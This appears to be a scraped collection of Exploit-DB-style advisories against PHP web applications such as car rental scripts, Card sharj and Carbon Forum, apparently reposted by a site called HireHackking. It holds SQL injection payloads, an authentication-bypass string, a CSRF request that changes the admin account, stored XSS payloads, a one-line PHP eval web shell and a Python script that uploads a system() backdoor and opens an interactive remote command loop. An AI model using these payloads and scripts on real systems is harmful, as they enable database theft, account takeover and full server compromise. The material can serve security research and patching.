[20:09:33] [DEBUG] performed 10 queries in 0.20 seconds
available databases [2]:
[*] care2x
[*] information_schema
[*] performance_schema
[*] mysql



3. Solution:

Application inputs must be validated correctly in all developed classes.
HireHackking 
source: https://www.securityfocus.com/bid/49677/info

Card sharj is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Card sharj 1.01 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cardId=[sql inject]

http://www.example.com/index.php?action=[sql inject]

http://www.example.com/Card-sharj-scripts/admin/index.php

Username & Password: admin' or '1=1
HireHackking 
# Exploit Title: Card Payment 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tubigangarden.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/admin/mod_users/controller.php?action=edit
# 
POST /[PATH]/admin/mod_users/controller.php?action=edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
USERID=1&UNAME=Anonymous&USERNAME=admin&deptid=&UPASS=Efe&ROLE=Administrator&deptid=&PHONE=912856478&save=
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 20:16:05 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: Persistent XSS in Carbon Forum 5.9.0 (Stored)
# Date: 06/12/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.94cb.com/
# Software Link: https://github.com/lincanbin/Carbon-Forum
# Version: 5.9.0
# Tested on: Windows XP
# CVE: N/A

## Vulnerability Details

A persistent (stored) XSS vulnerability was discovered in Carbon Forum
version 5.9.0. The vulnerability allows an attacker to inject malicious
JavaScript code into the Forum Name field under the admin settings. This
payload is stored on the server and executed in the browser of any user who
visits the forum, leading to potential session hijacking, data theft, and
other malicious activities.

## Steps to Reproduce

1. Login as Admin: Access the Carbon Forum with admin privileges.
2. Navigate to Settings: Go to the '/dashboard' and select the Basic
section.
3. Enter Payload : Input the following payload in the Forum Name field:

    <script>alert('XSS');</script>

4. Save Settings: Save the changes.
5. The xss payload will triggers
HireHackking 
# # # # # 
# Exploit Title: Car Workshop System - SQL Injection
# Google Dork: N/A
# Date: 13.03.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software: https://codecanyon.net/item/car-workshop-system/19562074
# Demo: http://workshop.prosoft-apps.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
# 
# In addition.
# Technician User, There are security vulnerabilities.
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Car Rental Script 2.0.4 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/car-rental-script/
# Version: 2.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/countrycode1.php?val=[SQL]
#  
# -1'++/*!07777UNION*/+/*!07777SELECT*/+@@version--+-
# 
#  
# # # # #
HireHackking 
# Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)
# Date: 30/07/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/car-rental-php-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Stored XSS
-----------------------------------------------
POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1

payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"
7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser.
8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser
HireHackking 
# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Date: 3/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version:  V 2.0
# Tested on Windows 10, XAMPP

POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------346751171915680139113101061568
Content-Length: 369
Origin: http://localhost
Connection: close
Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
Upgrade-Insecure-Requests: 1

-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="img1"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pp]);?>
-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="update"


-----------------------------346751171915680139113101061568--


# Uploaded Malicious File can  be Found in :
carrental\admin\img\vehicleimages\1.php
# go to http://localhost/carrental/admin/img/vehicleimages/1.php, Execute malicious code via post value phpinfo();
HireHackking 
# Exploit Title: Car Rental Project 1.0 - Remote Code Execution
# Date: 1/3/2020
# Exploit Author: FULLSHADE, SC
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2020-5509
# ==================================================
# Information & description
# ==================================================
# Car Rental Project v.1.0 is vulnerable to arbitrary file upload since an admin can change the image of a product and the file change PHP code doesn't validate or care what type of file is submitted, which leads to an attack having the ability to upload malicious files. This Python POC will execute arbitrary commands on the remote server.
# ==================================================
# Manual POC
# ==================================================
# Manual POC method
# - Visit carrental > admin login > changeimage1.php
# - Upload a php rce vulnerable payload
# - Visit /carrentalproject/carrental/admin/img/vehicleimages/.php to visit your file
# - Execute commands on the server
# ==================================================
# POC automation script
# ==================================================

import sys
import requests

print("""
+-------------------------------------------------------------+
Car Rental Project v1.0 - Remote Code Execution
FULLSHADE, FullPwn Operations
+-------------------------------------------------------------+
""")

def login():
    sessionObj = requests.session()
    RHOSTS = sys.argv[1]
    bigstring = "\n+-------------------------------------------------------------+\n"
    print("+-------------------------------------------------------------+")
    print("[+] Victim host: {}".format(RHOSTs))
    POST_AUTH_LOGIN = "http://" + RHOSTS + "/carrentalproject/carrental/admin/index.php"
    SHELL_UPLOAD_URL = "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"

    # login / authentication
    payload = {"username": "admin", "password": "Test@12345", "login": ""}
    login = sessionObj.post(POST_AUTH_LOGIN, data=payload)

    # get response
    if login.status_code == 200:
        print("[+] Login HTTP response code: 200")
        print("[+] Successfully logged in")
    else:
        print("[!] Failed to authenticate")
        sys.exit()

    # get session token
    session_cookie_dic = sessionObj.cookies.get_dict()
    token = session_cookie_dic["PHPSESSID"]
    print("[+] Session cookie: {}".format(token))

    # proxy for Burp testing
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

    # data for uploading the backdoor request
    backdoor_file = {
        "img1": (
            "1dccadfed7bcbb036c56a4afb97e906f.php",
            '<?php system($_GET["cmd"]); ?>',
            "Content-Type application/x-php",
        )
    }
    backdoor_data = {"update": ""}
    SHELL_UPLOAD_URL = "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"

    # actually upload the php shell
    try:
        r = sessionObj.post(url=SHELL_UPLOAD_URL, files=backdoor_file, data=backdoor_data)
        print("[+] Backdoor upload at /carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php" + bigstring)
    except:
        print("[!] Failed to upload backdoor")

    # get command execution
    while True:
        COMMAND = str(input('\033[32m' + "Command RCE >> " + '\033[m'))
        SHELL_LOCATION = "http://" + RHOSTS + "/carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php"
        # get R,CE results
        respond = sessionObj.get(SHELL_LOCATION + "?cmd=" + COMMAND)
        print(respond.text)

if __name__ == "__main__":
    login()